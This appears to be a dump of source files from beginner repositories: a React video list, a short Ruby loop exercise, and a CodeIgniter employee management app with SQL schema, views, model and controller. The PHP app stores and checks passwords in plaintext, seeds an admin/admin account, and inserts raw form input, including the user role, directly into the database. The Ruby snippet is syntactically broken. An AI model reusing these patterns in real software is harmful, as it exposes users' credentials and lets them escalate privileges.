<file_sep>import React from 'react'; import VideoListItem from './video_list_item'; // props (video list object) sent down from parent App // in <VideoList videos = {this.state.videos} /> // in functional component, props passed as arguments. in classes, available as this.props const VideoList = (props) => { // map over props.videos to take each video and create a videolistitem object, // passing video as argument const videoItems = props.videos.map(video=>{ return ( <VideoListItem onVideoSelect={props.onVideoSelect} key={video.etag} video={video} /> ) }); return ( <ul className="col-md-4 list-group"> {videoItems} </ul> ); }; export default VideoList;
512bbaac9fe14d744e5b36fd82f847cd70476ae3
[ "JavaScript" ]
1
JavaScript
jihotahk/ReduxSimpleStarter
4d26fb0ce2d06446d3d4fc6bf0369eaf5c86ad3b
722c8146d5de3db562126320737dcd59deda083c
refs/heads/master
<repo_name>jcontiveros/bellringer12_wednesday2<file_sep>/times_hi.rb puts "Enter a number" times = gets.chomp times do puts "hi!" end
fc59b3ae9d7e8fa314187948a82d45480874c203
[ "Ruby" ]
1
Ruby
jcontiveros/bellringer12_wednesday2
f808ea2461cc2a90854e552d37780c6e4292a111
e33cfde90f59754dcb148615a5a8ad8e3c93c3d3
refs/heads/master
<repo_name>frachma99/employeemanagementsystem<file_sep>/employeemanagementsystem/emp.sql -- phpMyAdmin SQL Dump -- version 4.8.3 -- https://www.phpmyadmin.net/ -- -- Host: 127.0.0.1 -- Generation Time: Oct 05, 2018 at 08:15 PM -- Server version: 10.1.35-MariaDB -- PHP Version: 7.2.9 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET AUTOCOMMIT = 0; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Database: `emp` -- -- -------------------------------------------------------- -- -- Table structure for table `emp_contact_details` -- CREATE TABLE `emp_contact_details` ( `id` int(255) NOT NULL, `user_id` int(255) NOT NULL, `addressLine1` varchar(255) NOT NULL, `addressLine2` varchar(255) NOT NULL, `city` varchar(255) NOT NULL, `thana` varchar(255) NOT NULL, `zip_code` int(255) NOT NULL, `country` varchar(255) NOT NULL, `mobile` varchar(255) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `emp_contact_details` -- INSERT INTO `emp_contact_details` (`id`, `user_id`, `addressLine1`, `addressLine2`, `city`, `thana`, `zip_code`, `country`, `mobile`) VALUES (14, 44, 'address1', 'address2', 'city', 'thana', 1000, 'Bangladesh', '010000000'); -- -------------------------------------------------------- -- -- Table structure for table `emp_personal_details` -- CREATE TABLE `emp_personal_details` ( `id` int(255) NOT NULL, `user_id` int(255) NOT NULL, `emp_role_id` int(255) NOT NULL, `first_name` varchar(255) NOT NULL, `midle_name` varchar(255) NOT NULL, `last_name` varchar(255) NOT NULL, `username` varchar(255) NOT NULL, `gender` varchar(255) NOT NULL, `nationality` varchar(255) NOT NULL, `marital_status` varchar(255) NOT NULL, `dob` date NOT NULL, `avatar` varchar(255) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `emp_personal_details` -- INSERT INTO `emp_personal_details` (`id`, `user_id`, `emp_role_id`, `first_name`, `midle_name`, `last_name`, `username`, `gender`, `nationality`, `marital_status`, `dob`, `avatar`) VALUES (12, 44, 2, 'Employe', 'middle', 'last', 'employe1', 'Female', 'Bangladeshi', 'Married', '2000-01-01', 'http://[::1]/emp/uploads/fdsv_(17).jpg'); -- -------------------------------------------------------- -- -- Table structure for table `emp_qualifications` -- CREATE TABLE `emp_qualifications` ( `id` int(255) NOT NULL, `user_id` int(255) NOT NULL, `ssc` int(255) NOT NULL, `hsc` int(255) NOT NULL, `graduation` int(255) NOT NULL, `post_graduation` int(255) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `emp_qualifications` -- INSERT INTO `emp_qualifications` (`id`, `user_id`, `ssc`, `hsc`, `graduation`, `post_graduation`) VALUES (7, 44, 5, 5, 0, 0); -- -------------------------------------------------------- -- -- Table structure for table `users` -- CREATE TABLE `users` ( `user_id` int(255) NOT NULL, `name` varchar(255) NOT NULL, `username` varchar(255) NOT NULL, `password` varchar(255) NOT NULL, `user_role_id` int(255) NOT NULL, `created` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `users` -- INSERT INTO `users` (`user_id`, `name`, `username`, `password`, `user_role_id`, `created`) VALUES (1, 'admin', '<EMAIL>', 'admin', 1, '2018-10-05 17:54:53'), (44, 'employee', '<EMAIL>', 'employee', 2, '2018-10-05 17:55:57'); -- -------------------------------------------------------- -- -- Table structure for table `user_role` -- CREATE TABLE `user_role` ( `id` int(255) NOT NULL, `role_name` varchar(255) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `user_role` -- INSERT INTO `user_role` (`id`, `role_name`) VALUES (1, 'Admin'), (2, 'Employee'); -- -- Indexes for dumped tables -- -- -- Indexes for table `emp_contact_details` -- ALTER TABLE `emp_contact_details` ADD PRIMARY KEY (`id`); -- -- Indexes for table `emp_personal_details` -- ALTER TABLE `emp_personal_details` ADD PRIMARY KEY (`id`); -- -- Indexes for table `emp_qualifications` -- ALTER TABLE `emp_qualifications` ADD PRIMARY KEY (`id`); -- -- Indexes for table `users` -- ALTER TABLE `users` ADD PRIMARY KEY (`user_id`); -- -- Indexes for table `user_role` -- ALTER TABLE `user_role` ADD PRIMARY KEY (`id`); -- -- AUTO_INCREMENT for dumped tables -- -- -- AUTO_INCREMENT for table `emp_contact_details` -- ALTER TABLE `emp_contact_details` MODIFY `id` int(255) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=15; -- -- AUTO_INCREMENT for table `emp_personal_details` -- ALTER TABLE `emp_personal_details` MODIFY `id` int(255) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=13; -- -- AUTO_INCREMENT for table `emp_qualifications` -- ALTER TABLE `emp_qualifications` MODIFY `id` int(255) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=8; -- -- AUTO_INCREMENT for table `users` -- ALTER TABLE `users` MODIFY `user_id` int(255) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=45; -- -- AUTO_INCREMENT for table `user_role` -- ALTER TABLE `user_role` MODIFY `id` int(255) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3; COMMIT; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; <file_sep>/employeemanagementsystem/application/views/createEmployee.php <?php include('header.php'); ?> <div class="container"> <?php echo form_open("employee/insertEmployee",['class'=>'form-horizontal' ]);?> <fieldset> <legend>Create Employee</legend> <div class="col-lg-8"> <div> <div class="form-group"> <label for="inputEmail" class="col-lg-2 control-label">Name</label> <div class="col-lg-10"> <?php echo form_input(['name'=>'name','class'=>'form-control', 'value'=>set_value('name'), 'placeholder'=>'Name']);?> </div> </div> </div> <div class="form-group"> <?php echo form_error('name','<div class="text-danger">','</div>'); ?> <label for="inputEmail" class="col-lg-2 control-label">User Name</label> <div class="col-lg-10"> <?php echo form_input(['name'=>'username','class'=>'form-control', 'value'=>set_value('username') , 'placeholder'=>'Valid Email']);?> </div> </div> <?php echo form_error('username','<div class="text-danger">', '</div>'); ?> <div class="form-group"> <label for="inputEmail" class="col-lg-2 control-label">Password</label> <div class="col-lg-10"> <?php echo form_password(['name'=>'password','class'=>'form-control','placeholder'=>'<PASSWORD>']);?> </div> </div> <?php echo form_error('password','<div class="text-danger">', '</div>'); ?> <div class="form-group"> <div class="form-group"> <label for="inputEmail" class="col-lg-2 control-label">User Role</label> <div class="col-lg-10"> <select class="form-control" name="user_role_id" style="margin-left: 10px"> <option></option> <option value=<?php echo $result?> > Admin </option> <option value=<?php echo $result?> >Employee </option> </select> <br> </div> </div> <?php echo form_error('user_role_id','<div class="text-danger">', '</div>'); ?> <div class="form-group"> <div class="col-lg-10 col-lg-offset-2"> <?php echo form_submit(['value'=>'Submit','class'=>'btn btn-success']);?> <?php echo form_reset(['value'=>'Reset','class'=>'btn btn-default']);?> </div> </div> </div> </fieldset> <?php echo form_close(); ?> </div> <?php include('footer.php'); ?> <file_sep>/employeemanagementsystem/application/views/edit_employee.php <?php include ('header.php'); ?> <div class="container"> <?php echo form_open_multipart("employee/update_employee/{$res->user_id}", ['class' => 'form-horizontal']); ?> <?php echo form_hidden('user_id',$res->user_id); ?> <!-- <?php echo form_hidden('emp_role_id',$res->user_role_id); ?> --> <div class="row"> <div class="col-lg-3"> <legend>Employee Details</legend> <div class="list-group"> <a href="" class="list-group-item"> <?php if(!empty($res)): ?> <img src=<?php echo $res->avatar; ?> style="width:230px"> <?php else :?> <img src=<?php echo base_url('resources/images/avatar.png');?> style="width:230px" > <?php endif; ?> </a> <br> <?php echo form_upload(['name'=>'avatar','class'=>'form-control']); ?> <?php if(isset($upload_error)) echo $upload_error; ?> <br> <ul class="nav nav-pills nav-stacked"> <li class="btn btn-default"><a href="<?php echo base_url("employee/empPersonalDetails/{$res->user_id}"); ?>">Personal Details</a></li> <li class="btn btn-default"><a href="<?php echo base_url("employee/empContactDetails/{$res->user_id}"); ?>">Contact Details</a></li> <li class="btn btn-default"><a href="<?php echo base_url("employee/empQualificationDetails/{$res->user_id}"); ?>">Qualification Details</a></li> </ul> </div> </div> <div class="col-lg-9"> <legend>Personal Details</legend> <div class="col-lg-12"> <div> <div class="form-group"> <label for="inputEmail" class="col-lg-2 control-label">First Name</label> <div class="col-lg-10"> <?php if(!empty($res)): ?> <?php echo form_input(['name'=>'first_name','class'=>'form-control','placeholder'=>'First Name','value'=>set_value('first_name',$res->first_name)]);?> <?php else :?> <?php echo form_input(['name'=>'first_name','class'=>'form-control','placeholder'=>'First Name','value'=>set_value('first_name')]);?> <?php endif; ?> </div> </div> </div> <div class="form-group"> <?php echo form_error('first_name','<div class="text-danger">','</div>'); ?> </div> </div> <div class="col-lg-12"> <div> <div class="form-group"> <label for="inputEmail" class="col-lg-2 control-label">Midle Name</label> <div class="col-lg-10"> <?php if(!empty($res)): ?> <?php echo form_input(['name'=>'midle_name','class'=>'form-control','placeholder'=>'Midle Name','value'=>set_value('midle_name',$res->midle_name)]);?> <?php else :?> <?php echo form_input(['name'=>'midle_name','class'=>'form-control','placeholder'=>'Midle Name','value'=>set_value('midle_name')]);?> <?php endif; ?> </div> </div> </div> <div class="form-group"> <?php echo form_error('midle_name','<div class="text-danger">','</div>'); ?> </div> </div> <div class="col-lg-12"> <div> <div class="form-group"> <label for="inputEmail" class="col-lg-2 control-label">Last Name</label> <div class="col-lg-10"> <?php if(!empty($res)): ?> <?php echo form_input(['name'=>'last_name','class'=>'form-control','placeholder'=>'Last Name','value'=>set_value('last_name',$res->last_name)]);?> <?php else :?> <?php echo form_input(['name'=>'last_name','class'=>'form-control','placeholder'=>'Last Name','value'=>set_value('last_name')]);?> <?php endif; ?> </div> </div> </div> <div class="form-group"> <?php echo form_error('last_name','<div class="text-danger">','</div>'); ?> </div> </div> <div class="col-lg-12"> <div> <div class="form-group"> <label for="inputEmail" class="col-lg-2 control-label">User Name</label> <div class="col-lg-10"> <?php if(!empty($res)): ?> <?php echo form_input(['name'=>'username','class'=>'form-control','placeholder'=>'User Name','value'=>set_value('username',$res->username)]);?> <?php else :?> <?php echo form_input(['name'=>'username','class'=>'form-control','placeholder'=>'User Name','value'=>set_value('username')]);?> <?php endif; ?> </div> </div> </div> <div class="form-group"> <?php echo form_error('username','<div class="text-danger">','</div>'); ?> </div> </div> <div class="col-lg-12"> <div> <div class="form-group"> <label for="inputEmail" class="col-lg-2 control-label">Gender</label> <div class="col-lg-10"> <?php if(!empty($res)): ?> <select class="form-control" name="gender"> <option><?php echo $res->gender ;?></option> <option>Male</option> <option>Female</option> </select> <?php else :?> <select class="form-control" name="gender"> <option></option> <option>Male</option> <option>Female</option> </select> <?php endif; ?> </div> </div> </div> <div class="form-group"> <?php echo form_error('gender','<div class="text-danger">','</div>'); ?> </div> </div> <div class="col-lg-12"> <div> <div class="form-group"> <label for="inputEmail" class="col-lg-2 control-label">Nationality</label> <div class="col-lg-10"> <?php if(!empty($res)): ?> <?php echo form_input(['name'=>'nationality','class'=>'form-control','placeholder'=>'Nationality','value'=>set_value('nationality',$res->nationality)]);?> <?php else :?> <?php echo form_input(['name'=>'nationality','class'=>'form-control','placeholder'=>'Nationality','value'=>set_value('nationality')]);?> <?php endif; ?> </div> </div> </div> <div class="form-group"> <?php echo form_error('nationality','<div class="text-danger">','</div>'); ?> </div> </div> <div class="col-lg-12"> <div> <div class="form-group"> <label for="inputEmail" class="col-lg-2 control-label">Marital Status</label> <div class="col-lg-10"> <?php if(!empty($res)): ?> <select class="form-control" name="marital_status"> <option><?php echo $res->marital_status;?></option> <option>Single</option> <option>Married</option> <option>Divorced</option> </select> <?php else :?> <select class="form-control" name="marital_status"> <option></option> <option>Single</option> <option>Married</option> <option>Divorced</option> </select> <?php endif; ?> </div> </div> </div> <div class="form-group"> <?php echo form_error('marital_status','<div class="text-danger">','</div>'); ?> </div> </div> <div class="col-lg-12"> <div> <div class="form-group"> <label for="inputEmail" class="col-lg-2 control-label">Date Of Birth</label> <div class="col-lg-10"> <?php if(!empty($res)): ?> <?php echo form_input(['name'=>'dob', 'class'=>'form-control','type'=>'date', 'placeholder'=> 'dd-mm-yyyy' , 'value'=>set_value('dob',$res->dob)]); ?> <?php else :?> <?php echo form_input(['name'=>'dob', 'class'=>'form-control','type'=>'date', 'placeholder'=> 'dd-mm-yyyy' , 'value'=>set_value('dob')]); ?> <?php endif; ?> </div> </div> </div> </div> <div class="form-group"> <?php echo form_error('dob','<div class="text-danger">','</div>'); ?> </div> </div> <br> <br> <br> <br> <br> <br> <div class="form-group"> <div class="col-lg-12 col-lg-offset-5"> <?php echo form_submit(['value'=>'Update','class'=>'btn btn-success']);?> <?php echo form_reset(['value'=>'Cancel','class'=>'btn btn-default']);?> </div> </div> <?php echo form_close(); ?> </div> <?php include ('footer.php'); ?><file_sep>/README.md ## Employee Management System ### Services In this pack you can - Create a new Employee account along with ( Personal Info, Contact Info & Education Info) <br> - Delete a Employee account <br> - Edit a Employee account . ### Installation steps Make sure to create a new database and add your database credentials to your 'database' file. `DB_DATABASE="emp"` In this pack there is a database file name "emp.sql" . Import that to your database file. ### Creating an Admin If you did go ahead with the dummy data, an admin should have been created for you with the following login credentials: > email : <EMAIL> <br> password : <PASSWORD> ### Creating Employee If you did go ahead with the dummy data, a employee should have been created for you . ### ##Enjoy the Package & Don't forgot to hit Star button 👍 <file_sep>/employeemanagementsystem/application/views/empContactDetails.php <?php include ('header.php'); ?> <div class="container"> <?php echo form_open_multipart("employee/addContactDetails/{$result->user_id}", ['class' => 'form-horizontal']); ?> <?php echo form_hidden('user_id',$result->user_id); ?> <?php //echo form_hidden('emp_role_id',$result->user_role_id); ?> <div class="row"> <div class="col-lg-3"> <legend>Employee Details</legend> <div class="list-group"> <a href="" class="list-group-item"> <?php if(!empty($profile_pic)): ?> <img src="<?php echo $profile_pic->avatar;?>" style="width:230px"> <?php else :?> <img src="<?php echo base_url('resources/images/avatar.png'); ?>" style="width:230px" > <?php endif; ?> </a> <br> <?php echo form_upload(['name'=>'avatar','class'=>'form-control']); ?> <?php if(isset($upload_error)) echo $upload_error; ?> <br> <ul class="nav nav-pills nav-stacked"> <li class="btn btn-default"><a href="<?php echo base_url("employee/empPersonalDetails/{$result->user_id}"); ?>">Personal Details</a></li> <li class="btn btn-default"><a href="<?php echo base_url("employee/empContactDetails/{$result->user_id}"); ?>">Contact Details</a></li> <li class="btn btn-default"><a href="<?php echo base_url("employee/empQualificationDetails/{$result->user_id}"); ?>">Qualification Details</a></li> </ul> </div> </div> <div class="col-lg-9"> <legend>Contact Details</legend> <div class="col-lg-12"> <div> <div class="form-group"> <label for="inputEmail" class="col-lg-2 control-label">Address Line1</label> <div class="col-lg-10"> <?php if(!empty($records)): ?> <?php echo form_input(['name'=>'addressLine1', 'class'=>'form-control', 'placeholder'=>'Address Line1', 'value'=>set_value('addressLine1',$records->addressLine1)]); ?> <?php else :?> <?php echo form_input(['name'=>'addressLine1', 'class'=>'form-control', 'placeholder'=>'Address Line1', 'value'=>set_value('addressLine1')]); ?> <?php endif; ?> </div> </div> </div> <div class="form-group"> <?php echo form_error('addressLine1','<div class="text-danger">','</div>'); ?> </div> </div> <div class="col-lg-12"> <div> <div class="form-group"> <label for="inputEmail" class="col-lg-2 control-label">Address Line2</label> <div class="col-lg-10"> <?php if(!empty($records)): ?> <?php echo form_input(['name'=>'addressLine2','class'=>'form-control','placeholder'=>'Address Line2','value'=>set_value('addressLine2',$records->addressLine2)]);?> <?php else: ?> <?php echo form_input(['name'=>'addressLine2','class'=>'form-control','placeholder'=>'Address Line2','value'=>set_value('addressLine2')]);?> <?php endif; ?> </div> </div> </div> <div class="form-group"> <?php echo form_error('addressLine2','<div class="text-danger">','</div>'); ?> </div> </div> <div class="col-lg-12"> <div> <div class="form-group"> <label for="inputEmail" class="col-lg-2 control-label">City</label> <div class="col-lg-10"> <?php if(!empty($records)): ?> <?php echo form_input(['name'=>'city','class'=>'form-control','placeholder'=>'City','value'=>set_value('city',$records->city)]);?> <?php else: ?> <?php echo form_input(['name'=>'city','class'=>'form-control','placeholder'=>'City','value'=>set_value('city')]);?> <?php endif; ?> </div> </div> </div> <div class="form-group"> <?php echo form_error('city','<div class="text-danger">','</div>'); ?> </div> </div> <div class="col-lg-12"> <div> <div class="form-group"> <label for="inputEmail" class="col-lg-2 control-label">Thana</label> <div class="col-lg-10"> <?php if(!empty($records)): ?> <?php echo form_input(['name'=>'thana','class'=>'form-control','placeholder'=>'Thana','value'=>set_value('thana',$records->thana)]);?> <?php else: ?> <?php echo form_input(['name'=>'thana','class'=>'form-control','placeholder'=>'Thana','value'=>set_value('thana')]);?> <?php endif; ?> </div> </div> </div> <div class="form-group"> <?php echo form_error('thana','<div class="text-danger">','</div>'); ?> </div> </div> <div class="col-lg-12"> <div> <div class="form-group"> <label for="inputEmail" class="col-lg-2 control-label">Zip Code</label> <div class="col-lg-10"> <?php if(!empty($records)): ?> <?php echo form_input(['name'=>'zip_code','class'=>'form-control','placeholder'=>'Zip Code','value'=>set_value('zip_code',$records->zip_code)]);?> <?php else: ?> <?php echo form_input(['name'=>'zip_code','class'=>'form-control','placeholder'=>'Zip Code','value'=>set_value('zip_code')]);?> <?php endif; ?> </div> </div> </div> <div class="form-group"> <?php echo form_error('zip_code','<div class="text-danger">','</div>'); ?> </div> </div> <div class="col-lg-12"> <div> <div class="form-group"> <label for="inputEmail" class="col-lg-2 control-label">Country</label> <div class="col-lg-10"> <?php if(!empty($records)): ?> <?php echo form_input(['name'=>'country','class'=>'form-control','placeholder'=>'Country','value'=>set_value('country',$records->country)]);?> <?php else: ?> <?php echo form_input(['name'=>'country','class'=>'form-control','placeholder'=>'Country','value'=>set_value('country')]);?> <?php endif; ?> </div> </div> </div> <div class="form-group"> <?php echo form_error('country','<div class="text-danger">','</div>'); ?> </div> </div> <div class="col-lg-12"> <div> <div class="form-group"> <label for="inputEmail" class="col-lg-2 control-label">Mobile No</label> <div class="col-lg-10"> <?php if(!empty($records)): ?> <?php echo form_input(['name'=>'mobile','class'=>'form-control','placeholder'=>'Mobile','value'=>set_value('mobile',$records->mobile)]);?> <?php else: ?> <?php echo form_input(['name'=>'mobile','class'=>'form-control','placeholder'=>'Mobile','value'=>set_value('mobile')]);?> <?php endif; ?> </div> </div> </div> <div class="form-group"> <?php echo form_error('mobile','<div class="text-danger">','</div>'); ?> </div> </div> <br> <br> <br> <br> <br> <br> <div class="form-group"> <div class="col-lg-12 col-lg-offset-5"> <?php if(!empty($records)): ?> <?php else: ?> <?php echo form_submit(['value'=>'Submit','class'=>'btn btn-success']);?> <?php echo form_reset(['value'=>'Reset','class'=>'btn btn-default']);?> <?php endif; ?> </div> </div> <?php echo form_close(); ?> </div> <?php include ('footer.php'); ?><file_sep>/employeemanagementsystem/application/models/Queries.php <?php class Queries extends CI_Model{ public function login_user($username,$password){ $query=$this->db->where(['username'=>$username,'password'=>$password]) ->get('users'); if($query->num_rows() > 0){ return $query->row()->user_id; } } public function getUserRole(){ $query=$this->db->where(['role_name'=>'Employee']) ->get('user_role'); if($query->num_rows() > 0){ return $query->row()->id; } } public function addEmployee($data){ return $this->db->insert('users', $data); } public function getAllUsers($limit , $offset){ $this->db->select(['users.user_id','users.name','users.username','user_role.role_name','users.created']); $this->db->from('users'); $this->db->join('user_role','user_role.id = users.user_role_id'); $this->db->limit($limit , $offset); // $this->db->order_by('id','DESC'); $query = $this->db->get(); return $query->result(); } public function get_num_rows(){ $query = $this->db->get('users'); return $query->num_rows(); } public function getEmployeeList($limit , $offset){ $this->db->select(['users.user_id','users.name','users.username','user_role.role_name']); $this->db->from('users'); $this->db->join('user_role','user_role.id = users.user_role_id'); $this->db->where(['users.user_role_id' => '2']); $this->db->limit($limit , $offset); $query = $this->db->get(); return $query->result(); } public function get_employee_num_rows(){ $this->db->select(['users.user_id','users.name','users.username','user_role.role_name']); $this->db->from('users'); $this->db->join('user_role','user_role.id = users.user_role_id'); $this->db->where(['users.user_role_id' => '2']); $query = $this->db->get(); return $query->num_rows(); } public function searchRecord($query){ $this->db->select(['users.user_id','users.name','users.username','user_role.role_name']); $this->db->from('users'); $this->db->join('user_role','user_role.id = users.user_role_id'); $this->db->like('name',$query); $query = $this->db->get(); return $query->result(); } public function getEmployeeRecords($employee_id){ $query = $this->db->where(['user_id'=> $employee_id]) ->get('users'); if ($query->num_rows() > 0) { return $query->row(); } } public function insertEmpPersonalDetails($data){ return $this->db->insert('emp_personal_details' , $data); } public function getEmployeeDetails($employee_id){ $query = $this->db->where(['user_id' => $employee_id]) ->get('emp_personal_details'); if ($query->num_rows() > 0) { return $query->row(); } } public function insertEmpContactDetails($data){ return $this->db->insert('emp_contact_details' , $data); } public function getEmpContactDetails($employee_id){ $query = $this->db->where(['user_id' => $employee_id]) ->get('emp_contact_details'); if ($query->num_rows() > 0) { return $query->row(); } } public function insertEmpQualificationDetails($data){ return $this->db->insert('emp_qualifications',$data); } public function getQualificationDetails($employee_id){ $query = $this->db->where(['user_id' => $employee_id]) ->get('emp_qualifications'); if ($query->num_rows() > 0) { return $query->row(); } } public function deleteEmp($userid){ $this->db->delete('users',['user_id'=>$userid]); $this->db->delete('emp_personal_details',['user_id'=>$userid]); $this->db->delete('emp_contact_details',['user_id'=>$userid]); $this->db->delete('emp_qualifications',['user_id'=>$userid]); } public function find_employee($employee_id){ $query = $this->db->where(['user_id' => $employee_id]) ->select('*') ->where('user_id', $employee_id) ->get('emp_personal_details'); if ($query->num_rows() > 0) { return $query->row(); } } } ?><file_sep>/employeemanagementsystem/application/views/employeelist.php <?php include('header.php');?> <div class="container"> <div class="row"> <div class="col-lg-4"> <ul class="nav nav-pills"> <li class="dropdown active"> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> Employee Management <span class="caret"></span> </a> <ul class="dropdown-menu"> <li><?php echo anchor("employee/createEmployee",'Create Employee')?></li> <li><?php echo anchor("employee/employeeList",'view Employee')?></li> </ul> </li> </ul> </div> <div class="col-lg-8"> <?php echo form_open("dashboard/search",['class'=>'navbar-form navbar-right','role'=> 'search']); ?> <div class="form-group"> <?php echo form_input(['name'=>'query','class'=>'form-control','placeholder'=>'Search']);?> </div> <?php echo form_submit(['value'=>'Search','class'=>'btn btn-success']);?> <?php echo form_close(); ?> <?php echo form_error('query','<div class="text-danger">','</div>'); ?> </div> </div> <div class="row"> <?php echo anchor("employee/deleteEmployee" ,'Delete' , ['class'=>'btn btn-danger']) ?> </div> <br> <?php if( $error = $this->session->flashdata('employee_add')): ?> <div class="row" > <div class="col-lg-12" > <div class="alert alert-dismissible alert-success"> <?php echo $error;?> </div> </div> </div> <?php endif; ?> <br> <div class="row"> <table class="table table-striped table-hover "> <thead> <tr> <td>#</td> <td>SL. No.</td> <td>First Name</td> <td>Username</td> <td>Designation</td> <td>User Role</td> </tr> </thead> <tbody> <?php if (count($result)): ?> <?php $count=$this->uri->segment(3, 0); ?> <?php foreach($result as $res): ?> <tr> <?php if($res->user_id == 1): ?> <td></td> <?php else :?> <td><?php echo form_checkbox(['class'=>'checkbox']); ?></td> <?php endif; ?> <?php if($res->user_id == 1): ?> <td><?php echo $res->name; ?></td> <?php else: ?> <td><?= ++$count; ?></td> <td><?php echo anchor("employee/empPersonalDetails/{$res->user_id}",$res->name) ; ?></td> <?php endif; ?> <td><?php echo $res->username; ?></td> <td><?php echo $res->role_name; ?></td> <td><?php echo $res->role_name; ?></td> </tr> <?php endforeach; ?> <?php else: ?> <tr> <td>No Record Found !</td> </tr> <?php endif; ?> </tbody> </table> <?php echo $this->pagination->create_links(); ?> </div> </div> <?php include('footer.php');?><file_sep>/employeemanagementsystem/README.md # CodeIgniter-employe-management-system<file_sep>/employeemanagementsystem/application/controllers/Employee.php <?php class Employee extends CI_Controller{ public function index(){ } public function createEmployee(){ $this->load->model('Queries'); $result = $this->Queries->getUserRole(); $this->load->view('createEmployee' , ['result'=>$result] ); } public function insertEmployee(){ $this->form_validation->set_rules('name', 'Name', 'required'); $this->form_validation->set_rules('username', 'Username', 'required'); $this->form_validation->set_rules('password', '<PASSWORD>', '<PASSWORD>'); $this->form_validation->set_rules('user_role_id', 'User Role', 'required'); $this->form_validation->set_error_delimiters('<div class="text-danger">','</div>'); if ( $this->form_validation->run() ) { $data = $this->input->post(); $this->load->model('Queries'); if($this->Queries->addEmployee($data)){ $this->session->set_flashdata('employee_add','Employee Added Successfully'); } else{ $this->session->set_flashdata('employee_add','Failed to add Employee'); } return redirect('dashboard'); } else{ $this->createEmployee(); } } public function employeelist(){ $this->load->model('Queries'); $this->load->library('pagination'); $config = [ 'base_url' => base_url("employee/employeeList"), 'per_page' => 5, 'total_rows' => $this->Queries->get_employee_num_rows(), 'uri_segment'=> 3, 'full_tag_open' => "<ul class='pagination'>", 'full_tag_close' => "</ul>", 'first_tag_open' => '<li>', 'first_tag_close' => '</li>', 'last_tag_open' => '<li>', 'last_tag_close' => '</li>', 'next_tag_open' => '<li>', 'next_tag_close' => '</li>', 'prev_tag_open' => '<li>', 'prev_tag_close' => '</li>', 'num_tag_open' => '<li>', 'num_tag_close' => '</li>', 'cur_tag_open' => "<li class='active'><a>", 'cur_tag_close' => '</a></li>', ]; $this->pagination->initialize($config); $result = $this->Queries->getEmployeeList($config['per_page'], $this->uri->segment(3)); $this->load->view('employeelist' , ['result' => $result ]); } public function empPersonalDetails($employee_id){ $this->load->model('Queries'); $result = $this->Queries->getEmployeeRecords($employee_id); $records = $this->Queries->getEmployeeDetails($employee_id); $this->load->view('empPersonalDetails',['result' =>$result , 'records' =>$records]); } public function addPersonalDetails($employee_id){ $config = [ 'upload_path' => './uploads' , 'allowed_types' => 'gif|jpg|png|jpeg' ]; $this->load->library('upload', $config); $this->form_validation->set_rules('first_name', 'Frist Name', 'required'); $this->form_validation->set_rules('midle_name', 'Midle Name', 'required'); $this->form_validation->set_rules('last_name', 'Last Name', 'required'); $this->form_validation->set_rules('username', 'Username', 'required'); $this->form_validation->set_rules('gender', 'Gender', 'required'); $this->form_validation->set_rules('nationality', 'Nationality', 'required'); $this->form_validation->set_rules('marital_status', 'Marital Status', 'required'); $this->form_validation->set_rules('dob', 'DOB', 'required'); // $this->form_validation->set_rules('avatar', 'Profile Image', 'required'); $this->form_validation->set_error_delimiters('<div class="text-danger">','</div>'); if ($this->form_validation->run() && $this->upload->do_upload('avatar')) { $data = $this->input->post(); $upload_info = $this->upload->data(); $path = base_url("uploads/".$upload_info['raw_name'].$upload_info['file_ext']); $data['avatar'] = $path ; $this->load->model('Queries'); if($this->Queries->insertEmpPersonalDetails($data)){ $this->session->set_flashdata('employee_add','Employee Added Successfully'); } else{ $this->session->set_flashdata('employee_add','Failed to Add Employee'); } return redirect('dashboard'); } else { $upload_error = $this->upload->display_errors(); $this->empPersonalDetails($employee_id); // echo validation_errors(); } } public function empContactDetails($employee_id){ $this->load->model('Queries'); $result = $this->Queries->getEmployeeRecords($employee_id); $records = $this->Queries->getEmpContactDetails($employee_id); $profile_pic = $this->Queries->getEmployeeDetails($employee_id); $this->load->view('empContactDetails', ['result'=>$result,'records'=>$records,'profile_pic'=>$profile_pic]); } public function addContactDetails($employee_id){ $this->form_validation->set_rules('addressLine1', 'Address Line1', 'required'); $this->form_validation->set_rules('addressLine2', 'Address Line2', 'required'); $this->form_validation->set_rules('city', 'City', 'required'); $this->form_validation->set_rules('thana', 'Thana', 'required'); $this->form_validation->set_rules('zip_code', 'Zip Code', 'required'); $this->form_validation->set_rules('country', 'Country', 'required'); $this->form_validation->set_rules('mobile', 'Mobile', 'required'); $this->form_validation->set_error_delimiters('<div class="text-danger">','</div>'); if ( $this->form_validation->run() ) { $data = $this->input->post(); $this->load->model('Queries'); if($this->Queries->insertEmpContactDetails($data)){ $this->session->set_flashdata('employee_add','Employee Added Successfully'); } else{ $this->session->set_flashdata('employee_add','Failed to Add Employee Details'); } return redirect('dashboard'); } else{ $this->empContactDetails($employee_id); } } public function empQualificationDetails($employee_id){ $this->load->model('Queries'); $result = $this->Queries->getEmployeeRecords($employee_id); $records = $this->Queries->getQualificationDetails($employee_id); $profile_pic = $this->Queries->getEmployeeDetails($employee_id); 